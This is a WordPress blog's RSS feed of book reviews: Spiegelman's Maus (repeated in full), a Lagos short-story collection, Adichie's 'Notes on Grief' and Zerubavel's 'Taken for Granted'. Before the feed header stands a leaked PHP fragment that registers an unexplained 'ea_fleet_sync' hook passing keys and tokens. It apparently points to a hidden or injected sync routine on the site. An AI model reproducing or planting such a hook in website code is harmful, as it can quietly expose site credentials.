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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Book Review – Tobioloyede https://tobioloyede.com Delving into daily life issues to foster change Sat, 12 Sep 2026 23:39:17 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://tobioloyede.com/wp-content/uploads/2022/12/cropped-Beige-Elegant-Personal-Business-Card-2-32x32.png Book Review – Tobioloyede https://tobioloyede.com 32 32 Why I Think Everyone Should Read Maus by Art Spiegelman https://tobioloyede.com/why-i-think-everyone-should-read-maus-by-art-spiegelman/ https://tobioloyede.com/why-i-think-everyone-should-read-maus-by-art-spiegelman/#respond Wed, 25 Mar 2026 05:03:24 +0000 https://tobioloyede.com/?p=2463 Before I read Maus, I had two questions I couldn’t shake: Why comics? And why mice? These seem like simple, even naive questions, but sitting with them during one of my graduate class discussions in 2019 opened up something I wasn’t quite prepared for. Maus is not just a book; it is an experience, a reckoning, and one that everyone owes themselves at least once in their lifetime.

Let me start with the obvious: Maus is a graphic novel. But don’t let that fool you into thinking it is light reading or something you can breeze through on a lazy afternoon. Art Spiegelman uses the comics medium to tell the story of his father, Vladek, a Polish Jewish Holocaust survivor, while simultaneously telling his own story of trying to understand a past he didn’t live but has always carried deep in his bones. The narrative moves back and forth between wartime Poland and present-day New York, between father and son, and between unspeakable horror and something, oddly, painfully funny. And somehow, against all odds, it all works beautifully.

Why Comics?

This was the question that nagged at me first. My professor at the time, Dr. Marie Tedesco’s class lectures, and Valerie Bodell’s video lecture genuinely changed how I understood the medium. Comics, they explained, are sequential images with or without text, and they have evolved far beyond superheroes and punchlines into a powerful vehicle for personal storytelling. Spiegelman is precisely that kind of storyteller. When asked why he chose comics, he said it could never have occurred to him to tell this story in any other form. For him, it was simply natural.

And when you read Maus, you understand why. Spiegelman once described his fascination with comics as being about “the abstraction and structuring that come with the comics page, the fact that moments in time are juxtaposed.” That juxtaposition is everything. The comics format lets him move fluidly between past and present, between Auschwitz and a Queens apartment, without the jarring disorientation that might come in another medium. There is a remarkable page in Maus II where this becomes viscerally clear: time collapses, and you feel it visually before you even process it intellectually.

What also struck me is how the format actually protects the reader emotionally. The switches in time and place give you breathing room so you are never completely submerged in the trauma. You remember some things and forget others in the reading process, which, when you think about it, is exactly how memory and grief work in real life. Unlike a film, which pulls you relentlessly forward, comics let you pause. You control the pace. You linger on a panel or move through it quickly. That power given to the reader feels intentional and deeply humane.

blue and brown desk globe
Photo by Benigno Hoyuela on Unsplash

Why Mice?

My first instinct when I asked myself this question was fairly straightforward: cats hunt mice, predator and prey, a clean metaphor for oppressor and oppressed. And that is part of it. But the more I sat with it, the more layers revealed themselves. In Maus, Jews are drawn as mice, Nazis as cats, Poles as pigs, French as frogs, and Americans as dogs. What is remarkable is that the characters look almost interchangeable within their groups, and that sameness is the point. These were ordinary people, just like you, who found themselves inside a collective nightmare.

But it goes so much deeper than visual metaphor. Spiegelman later discovered that Nazi propaganda had long depicted Jews as vermin rats swarming in sewers, filth-covered and subhuman. A 1940 German propaganda film called The Eternal Jew used exactly this imagery. By reclaiming it and turning it into art, Spiegelman performs something quietly radical and almost defiant. He takes the dehumanizing weapon that was used against his people and dismantles it from the inside, forcing readers to confront how monstrous that original dehumanization truly was.

The Weight Artie Carries

What stayed with me most powerfully, though, was not Vladek’s Holocaust story, harrowing as it is, but Artie himself. He is not a passive narrator sitting at a comfortable distance from events. He is a man quietly crushed under the weight of a history he did not experience firsthand but cannot escape. Psychologists call this transgenerational trauma: the cumulative emotional and psychological wounds passed down from one generation to the next, transmitted not through words or deliberate teaching but through atmosphere, silence, guilt, and grief.

You see it everywhere in Artie in his guilt, his shame, his fractured sense of self, and his inability to fully inhabit his own life because he is so busy living his parents’ past. At one point in the book, he literally draws himself wearing a mouse mask over his human face. That single image communicated more to me than pages of prose ever could. He is performing an identity he has inherited rather than one he has chosen. He lives two lives simultaneously: his own and the one that preceded him.

I found myself deeply empathizing with Artie, perhaps because there is something universal in the experience of carrying your family’s pain without having asked for it. His relationship with his mother, Anja, is particularly heartbreaking. Her final words to him were a question: “Artie, you still love me, don’t you?” and his indifference in that moment haunts the entire book. He blames himself for her suicide. He thinks of himself as a failure. That guilt never leaves him, and Spiegelman does not let the reader off the hook either. We sit with it alongside him.

Vladek: A Difficult Man, an Impossible Story

Vladek, the father, is equally compelling and deliberately, unapologetically imperfect. He is miserly, difficult, manipulative at times, and yes, racist toward Black people in ways the book does not excuse or ignore. When I first encountered that aspect of his character, it felt jarring. Here is a man who suffered the worst of racial persecution, carrying his own prejudices forward. But Spiegelman never lets you dismiss Vladek, and he never lets you flatten him into either a hero or a villain.

Beneath all those sharp, exhausting edges is a man who never really survived the Holocaust, not fully, not in any way that mattered for how he lived the rest of his life. His trauma calcified into personality. His survival instincts, bribing, bartering, hoarding, and trusting no one, became permanent fixtures long after the war ended. A character in the book says it plainly and devastatingly: “In some ways, he didn’t survive.” That line broke something open in me when I first read it, and it still does.

Why This Book Matters Right Now

I also want to say this plainly: Maus won the Pulitzer Prize in 1992, the first graphic novel ever to do so. It was banned by a Tennessee school board in 2022, ostensibly over nudity and profanity. Both of those facts tell you everything about why this book continues to matter. Great art makes people uncomfortable. Great art refuses to look away from difficult truths. And great art, apparently, still frightens people enough that they want it out of classrooms. Maus does all of these things.

The Holocaust is not ancient history. The traumas it produced are still unfolding in families, in communities, and in the bodies and psyches of descendants who never saw a concentration camp but grew up inside the long shadow of one. Maus makes that inheritance visible in a way that no textbook, documentary, or conventional memoir quite manages. It shows you what it looks like to love someone who has been broken by history and to be broken a little yourself by loving them.

Final Thoughts

Reading Maus in graduate school changed how I think about storytelling, memory, and what we owe to the generations that came before and those that will come after us. It is not an easy read; it will sit with you, disturb you, and make you ask uncomfortable questions about survival, guilt, identity, and what it means to bear witness to someone else’s pain. But that discomfort is exactly the point.

If you have never picked it up, do it. If you read it years ago and thought it was just a Holocaust book in comic form, read it again because it is so much more than that. It is a book about fathers and sons, about memory and forgetting, and about the stories we inherit and the ones we choose to tell. And it is, without question, one of the most important books I have ever read.

Why I Think Everyone Should Read Maus by Art Spiegelman

Before I read Maus, I had two questions I couldn’t shake: Why comics? And why mice? These seem like simple, even naive questions, but sitting with them during one of my graduate class discussions in 2019 opened up something I wasn’t quite prepared for. Maus is not just a book; it is an experience, a reckoning, and one that everyone owes themselves at least once in their lifetime.

Let me start with the obvious: Maus is a graphic novel. But don’t let that fool you into thinking it is light reading or something you can breeze through on a lazy afternoon. Art Spiegelman uses the comics medium to tell the story of his father, Vladek, a Polish Jewish Holocaust survivor, while simultaneously telling his own story of trying to understand a past he didn’t live but has always carried deep in his bones. The narrative moves back and forth between wartime Poland and present-day New York, between father and son, and between unspeakable horror and something, oddly, painfully funny. And somehow, against all odds, it all works beautifully.

Why Comics?

This was the question that nagged at me first. My professor at the time, Dr. Marie Tedesco’s class lectures, and Valerie Bodell’s video lecture genuinely changed how I understood the medium. Comics, they explained, are sequential images with or without text, and they have evolved far beyond superheroes and punchlines into a powerful vehicle for personal storytelling. Spiegelman is precisely that kind of storyteller. When asked why he chose comics, he said it could never have occurred to him to tell this story in any other form. For him, it was simply natural.

And when you read Maus, you understand why. Spiegelman once described his fascination with comics as being about “the abstraction and structuring that come with the comics page, the fact that moments in time are juxtaposed.” That juxtaposition is everything. The comics format lets him move fluidly between past and present, between Auschwitz and a Queens apartment, without the jarring disorientation that might come in another medium. There is a remarkable page in Maus II where this becomes viscerally clear: time collapses, and you feel it visually before you even process it intellectually.

What also struck me is how the format actually protects the reader emotionally. The switches in time and place give you breathing room so you are never completely submerged in the trauma. You remember some things and forget others in the reading process, which, when you think about it, is exactly how memory and grief work in real life. Unlike a film, which pulls you relentlessly forward, comics let you pause. You control the pace. You linger on a panel or move through it quickly. That power given to the reader feels intentional and deeply humane.

blue and brown desk globe
Photo by Benigno Hoyuela on Unsplash

Why Mice?

My first instinct when I asked myself this question was fairly straightforward: cats hunt mice, predator and prey, a clean metaphor for oppressor and oppressed. And that is part of it. But the more I sat with it, the more layers revealed themselves. In Maus, Jews are drawn as mice, Nazis as cats, Poles as pigs, French as frogs, and Americans as dogs. What is remarkable is that the characters look almost interchangeable within their groups, and that sameness is the point. These were ordinary people, just like you, who found themselves inside a collective nightmare.

But it goes so much deeper than visual metaphor. Spiegelman later discovered that Nazi propaganda had long depicted Jews as vermin rats swarming in sewers, filth-covered and subhuman. A 1940 German propaganda film called The Eternal Jew used exactly this imagery. By reclaiming it and turning it into art, Spiegelman performs something quietly radical and almost defiant. He takes the dehumanizing weapon that was used against his people and dismantles it from the inside, forcing readers to confront how monstrous that original dehumanization truly was.

The Weight Artie Carries

What stayed with me most powerfully, though, was not Vladek’s Holocaust story, harrowing as it is, but Artie himself. He is not a passive narrator sitting at a comfortable distance from events. He is a man quietly crushed under the weight of a history he did not experience firsthand but cannot escape. Psychologists call this transgenerational trauma: the cumulative emotional and psychological wounds passed down from one generation to the next, transmitted not through words or deliberate teaching but through atmosphere, silence, guilt, and grief.

You see it everywhere in Artie in his guilt, his shame, his fractured sense of self, and his inability to fully inhabit his own life because he is so busy living his parents’ past. At one point in the book, he literally draws himself wearing a mouse mask over his human face. That single image communicated more to me than pages of prose ever could. He is performing an identity he has inherited rather than one he has chosen. He lives two lives simultaneously: his own and the one that preceded him.

I found myself deeply empathizing with Artie, perhaps because there is something universal in the experience of carrying your family’s pain without having asked for it. His relationship with his mother, Anja, is particularly heartbreaking. Her final words to him were a question: “Artie, you still love me, don’t you?” and his indifference in that moment haunts the entire book. He blames himself for her suicide. He thinks of himself as a failure. That guilt never leaves him, and Spiegelman does not let the reader off the hook either. We sit with it alongside him.

Vladek: A Difficult Man, an Impossible Story

Vladek, the father, is equally compelling and deliberately, unapologetically imperfect. He is miserly, difficult, manipulative at times, and yes, racist toward Black people in ways the book does not excuse or ignore. When I first encountered that aspect of his character, it felt jarring. Here is a man who suffered the worst of racial persecution, carrying his own prejudices forward. But Spiegelman never lets you dismiss Vladek, and he never lets you flatten him into either a hero or a villain.

Beneath all those sharp, exhausting edges is a man who never really survived the Holocaust, not fully, not in any way that mattered for how he lived the rest of his life. His trauma calcified into personality. His survival instincts, bribing, bartering, hoarding, and trusting no one, became permanent fixtures long after the war ended. A character in the book says it plainly and devastatingly: “In some ways, he didn’t survive.” That line broke something open in me when I first read it, and it still does.

Why This Book Matters Right Now

I also want to say this plainly: Maus won the Pulitzer Prize in 1992, the first graphic novel ever to do so. It was banned by a Tennessee school board in 2022, ostensibly over nudity and profanity. Both of those facts tell you everything about why this book continues to matter. Great art makes people uncomfortable. Great art refuses to look away from difficult truths. And great art, apparently, still frightens people enough that they want it out of classrooms. Maus does all of these things.

The Holocaust is not ancient history. The traumas it produced are still unfolding in families, in communities, and in the bodies and psyches of descendants who never saw a concentration camp but grew up inside the long shadow of one. Maus makes that inheritance visible in a way that no textbook, documentary, or conventional memoir quite manages. It shows you what it looks like to love someone who has been broken by history and to be broken a little yourself by loving them.

Final Thoughts

Reading Maus in graduate school changed how I think about storytelling, memory, and what we owe to the generations that came before and those that will come after us. It is not an easy read; it will sit with you, disturb you, and make you ask uncomfortable questions about survival, guilt, identity, and what it means to bear witness to someone else’s pain. But that discomfort is exactly the point.

If you have never picked it up, do it. If you read it years ago and thought it was just a Holocaust book in comic form, read it again because it is so much more than that. It is a book about fathers and sons, about memory and forgetting, and about the stories we inherit and the ones we choose to tell. And it is, without question, one of the most important books I have ever read.

References

Bakó, T., & Zana, K. (2018). The vehicle of transgenerational trauma: the transgenerational atmosphere. American Imago, 75(2), 271–278.

Burton, N. (2015, May 23). Empathy vs. sympathy. Psychology Today. https://www.psychologytoday.com/us/blog/hide-and-seek/201505/empathy-vs-sympathy

Dass-Brailsford, P. (2007). A practical approach to trauma: Empowering interventions. SAGE Publications.

LaCapra, D. (2014). Holocaust testimonies: Attending to the victim’s voice. In Writing history, writing trauma (pp. 86–113). Johns Hopkins University Press. (Original work published 2001)

Leon S. (n.d.). [Video testimony]. YouTube.

Helen K. (n.d.). [Video testimony]. YouTube.

Spiegelman, A. (1991). Maus: A survivor’s tale (Vols. 1–2). Pantheon Books.

Spiegelman, A. (2011). MetaMaus. Pantheon Books.

]]> https://tobioloyede.com/why-i-think-everyone-should-read-maus-by-art-spiegelman/feed/ 0 Book Review of “Nearly All The Men In Lagos Are Mad” https://tobioloyede.com/book-review-of-nearly-all-the-men-in-lagos-are-mad/ https://tobioloyede.com/book-review-of-nearly-all-the-men-in-lagos-are-mad/#comments Sat, 29 Jan 2022 19:20:29 +0000 https://tobioloyedesblog.wordpress.com/?p=494
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It is no news that Lagos is for the crazy at heart, just as a friend of mine sums it, it is a dramatic state in all areas. This book is a collection of twelve short stories about the unique form of madness that goes on in Lagos especially among men. It tells relatable stories about the hurdles women go through to find love in Lagos. It’s hard to find love in Lagos, if you do, it becomes harder to keep. It cannot be overemphasized that the men in Lagos are indeed mad, and Damilare Kuku just wittingly underscores it in this book. These relatable short stories range from situations about opportunists, cheats, married men, mummy’s boy, to narcissists.

No doubt, astonishment, and belly laugh from this book will leave you in stitches. I was both satisfied and hungry for more. Let me slightly introduce you to Damilare Kuku’s crazy world.

Damilare Kuku- the writer of the book

“Cuck-Up,” the first story is about a woman with a deadbeat husband who manipulates her into sleeping with another man for money and ends up gaslighting her and the twist is, he cheats on her with younger girls. At the end of this story, my stomach is filled with butterflies as she realizes her worth during the family meeting set for her because she told her husband she was going to cut off his penis. “One last thing—if Lukumon doesn’t move out of this house, I will cut off his penis and use it for money rituals.” Go, sis! Sense is coming your way.

In “The Gigolo from Isale-Eko,” the story of Ignatius, a chronic womanizer who goes to any extent all in the name of having a woman. He sets off quickly once his aim is achieved. He marries and unmarries as he pleases- let’s say he goes with the flow.

One of my favorites is the story titled “Ode-Pus Complex.” It is about a Yoruba lady, Yejide, and an Igbo guy, Uche. If you’re familiar with Sigmund Freud’s psychoanalytic theory in his book entitled The Interpretation of Dreams, you will have a clear understanding of what to find in this story. Uche is clearly a mummy’s boy, who finds it uneasy to break ties with “mummy.” For her so-called prized son, Uche, mummy sets standards and conditions that Yejide must meet in order to marry her son. This mummy’s boy thingy infuriates my stomach.

The themes to find in the pages of this book are spousal deceit, tribalism, gender, adultery, bisexuality, and class. Personally, some of the stories had an abrupt ending that left me puzzled. The sexual content was somewhat exhausting. Yet, the experiences of madness and the energy in this book are supreme.

Do not worry, I will not over-spill the tea. I just wanted you to have a taste of the book. There are several other stories in the book, but I must remind you that this is a relatable masterpiece. Lagos was, is, and remains a jungle not only for the brave at heart but mainly for the “mad” at heart.

If you are someone like me who does not like to read lengthy stories or are a slow reader, try this book and you will thank me later. You can get the book from Amazon or click here

]]> https://tobioloyede.com/book-review-of-nearly-all-the-men-in-lagos-are-mad/feed/ 4 Grieving https://tobioloyede.com/grieving/ https://tobioloyede.com/grieving/#comments Mon, 04 Oct 2021 00:20:01 +0000 https://tobioloyedesblog.wordpress.com/?p=456 Review of ‘Notes on Grief’ by Chimamanda Ngozi Adichie

In many Western cultures, particularly Great Britain and in the United States, the grief memoir remains a sought-after genre due to its form of public morning and occasional self-therapy. Here, the bereaved is in search of meaning amid pain or hurt. The kind of pain that comes with the death of a parent, child, sibling, or a loved one. This pain no doubt leaves one bereft of meaning and turns one’s world upside down such that language itself becomes somewhat useless. How can words fulfil its responsibility of giving meaning, meaning to silence, meaning to a shapeless encounter. Emily Dickinson engulfs the effort of language’s attempt to give meaning in her words, “To attempt to speak of what has been, would be impossible. Abyss has no biographer.”

For over two decades, autobiographical writing, talk shows about deep life details, especially memoir of loss has emerged as a notable literary genre, breaking silence by giving voice to loss/grief in a broad and open-minded way. It is noteworthy that grief/loss memoirs are highly relational. Grief remains a reality or experience that tries to annihilate the expressive role of language and boundaries of time such that influential memoirs like Blake Morrison’s And When Did You Last See Your Father? Marion Coutts’s The Iceberg among others grappled with expounding answers to it. It cannot be said affirmatively that the dead is gone or the relationship with them is over. We have our times and experiences with them differently.

Upon losing her father, in her slim and agonized book, Chimamanda Ngozi Adichie writes in a poetic form that mirrors her fractured self and produces a style of mourning that is both loving and haunting. Adichie launches into expounding her understanding of grief as brutal form of education. She describes, “you learn how much grief is about language, the failure of language and the grasping for language.” To her, words become wanting such that the show of sympathy from her extended family and friends become counterproductive and somewhat annoying. When she is told that her father lived long (died at 88), she is slightly consoled, but she maintains that “Age is irrelevant in grief; at issue is not how old he was but how loved.” To say that the death of a person means being in a better place is rather presumptuous. “How would you know?” she asks.

In this book, she chastises herself as she recalls her previous ways of consoling grieving friends. She was reminded by a friend of the words she used in her book Half of a Yellow Sun “Grief was the celebration of love, those who could feel real grief were lucky to have loved.” Adichie finds her words “exquisitely painful.”

To understand her pain, Adichie uses her daughter demonstration:

“My four year old daughter says I scared her. She got down on her knees to demonstrate, her small clenched fist rising and falling, and her mimicry makes me see myself as I was: utterly unraveling, screaming and pounding the floor. The news is like a vicious uprooting.”

If you have lost a loved one at any point, you would understand Adichie’s guilt and anger. How she could have averted the illness, taken better care of him or just make it all never happen (the death). This happens while grieving, we keep blaming ourselves about things we could have done that we never did even though death is beyond our power.

To some degree, reflecting on her father’s life gave some form of comfort which is typical while grieving. As a writer, Adichie understands that words are not enough to explain one’s feelings as she writes: “You learn how much grief is about language, the failure of language and the grasping for language.”

Adichie holds that communal mourning is overwhelming (even though solace is feasible in community), but it remains a value in the Igbo society and in Africa. Individuals come visiting, retell stories and write things about the dead in a book. She becomes utterly annoyed and thinks, “Why are you coming into our house to write in that alien notebook? How dare you make this thing true?” For her these acts make it feel real that her father is dead as she prefers to remain in denial. The only word that made sense to Adichie is Ndo, meaning sorry in Igbo.

It is obvious that Adichie wants her dad back; she is saying goodbye, she is saying she is sorry and at the same time saying do not go. All these are possible because writing a grief memoir shows there is an end, just as Jacques Derrida puts it, when you write, you ask for forgiveness.

Literature remains a crucial aspect and plays a reflective role on culture and society as it indirectly offers a therapeutic path to readers. Emphasizing the sociocultural role of literature, Isabel Allende’s memoir addressed to the author’s daughter, Paula, Shapiro (1998) maintained:

Although most psychotherapists read literary works as a means of enriching our own emotional and intellectual lives, we are less likely to read such writing for lessons on how to conduct treatment, yet the work of creative writers, especially their personal narratives or memoirs, can offer extremely useful examples of life story vision and revision as a source of emotional healing. … The explosion of interest in memoirs suggests our own society’s loss of shared stories and the longing to communicate and learn from the insights we and others have gained through self-reflection. Every time I want to explore a new dimension of psychology, I turn to both “literatures,” that is, both the scientific and the literary, for the insights that will shape my understanding. (p. 93)

Notes on Grief remains a piece of art larger than its size, universal in its experience of loss of a loved one, and the struggle to grieve especially during a pandemic when physical meeting is limited.

References

Image excerpts: https://www.barnesandnoble.com/w/notes-on-grief-chimamanda-ngozi-adichie/1138792627

Shapiro, E. R. (1998). The healing power of culture stories: What writers can teach psychotherapists. Cultural Diversity and Mental Health, 4(2), 91–101. https://doi.org/10.1037/1099-9809.4.2.91

]]> https://tobioloyede.com/grieving/feed/ 5 My Review of Eviatar Zerubavel’s “Taken for Granted: The Remarkable Power of the Unremarkable” https://tobioloyede.com/my-review-of-eviatar-zerubavels-taken-for-granted-the-remarkable-power-of-the-unremarkable/ https://tobioloyede.com/my-review-of-eviatar-zerubavels-taken-for-granted-the-remarkable-power-of-the-unremarkable/#comments Wed, 02 Sep 2020 04:17:30 +0000 https://tobioloyedesblog.wordpress.com/?p=330

In this appealing and perceptive book, Eviatar Zerubavel explains how the words we use and do not use reinforce dominant cultural norms. For instance, when we mark “the best female basketball player,” “Black Entertainment Television network,” and “family man,” but leave their counterparts unmarked, we thereby assume them to be ordinary by default. What we mark or leave unmarked is not a matter of personal opinions rather; we base these decisions on our socially constructed, norms, traditions, and social conventions.

The things we assume and take for granted differ across social institutions and cultures in society. Zerubavel shows how marking certain practices, identities, and ideas help certain groups maintain cultural dominance, including—the power to control what others take for granted. The most potent form of marking is known as labeling, which establishes a semiotic asymmetry between the “marked” and the “unmarked.” For example, bridges marked as “Pedestrian Bridges” signal a difference from regular bridges that no one marks as “Motorable Bridges.” In Nigeria, one may find a label for “children’s church” and no label marking “adult’s church.” These obvious distinctions are taken for granted and therefore go unquestioned. They also vary according to culture. For instance, a Nigerian coming to America may not be able to tell whether smoking is permitted anywhere unless signs are indicating whether or not it is prohibited. Zerubavel explains situational variability, as the things we assume by default and take for granted vary not only cross-culturally, but also sub-culturally. A vivid example is how the most revered day of the week for Christians is Sunday and for Muslims is Friday.

When we bring our assumptions to the surface, the results can be both funny and sad. A classic example is Hofstadter’s (2001) riddle about a fatal car accident in which the driver dies immediately on the spot, and his son is rushed to a nearby hospital, after that seeing him, a startled surgeon exclaims: “I cannot operate on this boy – he is my son.” The most straightforward answer would be that the surgeon must be the boy’s mother. I tried this riddle with some friends on different occasions, but it was difficult for them to decipher as eight of ten never thought of the surgeon as a female. Their failure to think of the surgeon as a woman exposes how we take things for granted and how we assume “surgeon” naturally implies a man. Language plays a major role in the process of othering such that whenever we define something, we also indicate what it is not. For instance, when we create compounds words like African American or Religious Democrat, it implies that the person is not a typical American or Democrat respectively and it results in the passive construction of the normative case.

Zerubavel concludes with a fascinating chapter, “Language and Cultural Change.” It is conventional wisdom that language has its roots in culture; we learn to and mark things according to our speech community. In the case of giving consent between opposite sexes in the American Sexual ethics, there has been a great shift as silence used to be a tacit “Yes” but recently if the woman does not give an explicit “Yes,” then it means a “No” which is outright denial. The change, in other words, includes a significant assumption reversal about the meaning of silence. He examines the faults of our language and challenges our understanding of social life. Taken for Granted is a fascinating guide on how language sustains and aggravates social inequalities. Zerubavel’s broad-minded analysis has the power to shift the readers’ worldviews.

However, his research is detailed, but his google based results vary according to location. For example, his illustration with Google search on the terms non-Western and non-Eastern with 3,020,000 and 19,900 respectively. With regards to location, these google search results vary predominantly. Nevertheless, these are little points as Taken for Granted requires us to acknowledge our biases and how we communicate them — whether we understand the implication of what we are saying or not.

An important takeaway from this book is that language itself can betray us. It could trick us into revealing things about others without using words. This is because not only do the words we use carry power, the unused words themselves are sometimes more powerful.

References
Eviatar Zerubavel. Taken for Granted: The Remarkable Power of the Unremarkable, Princeton, NJ: Princeton University Press, 2018. 160 pp. $19.95 cloth. ISBN: 9780691177366.

Hofstadter, Douglas R. (2001).” Changes in Default Words and Images Engendered by the Rising Consciousness”. Pp. 112-113 in Jodi O’Brien and Peter E. Kollock (eds.), The Production of Reality: Essays and Readings on Social Interaction, 3rd ed. Thousand Oaks, CA: Pine Forge Press.

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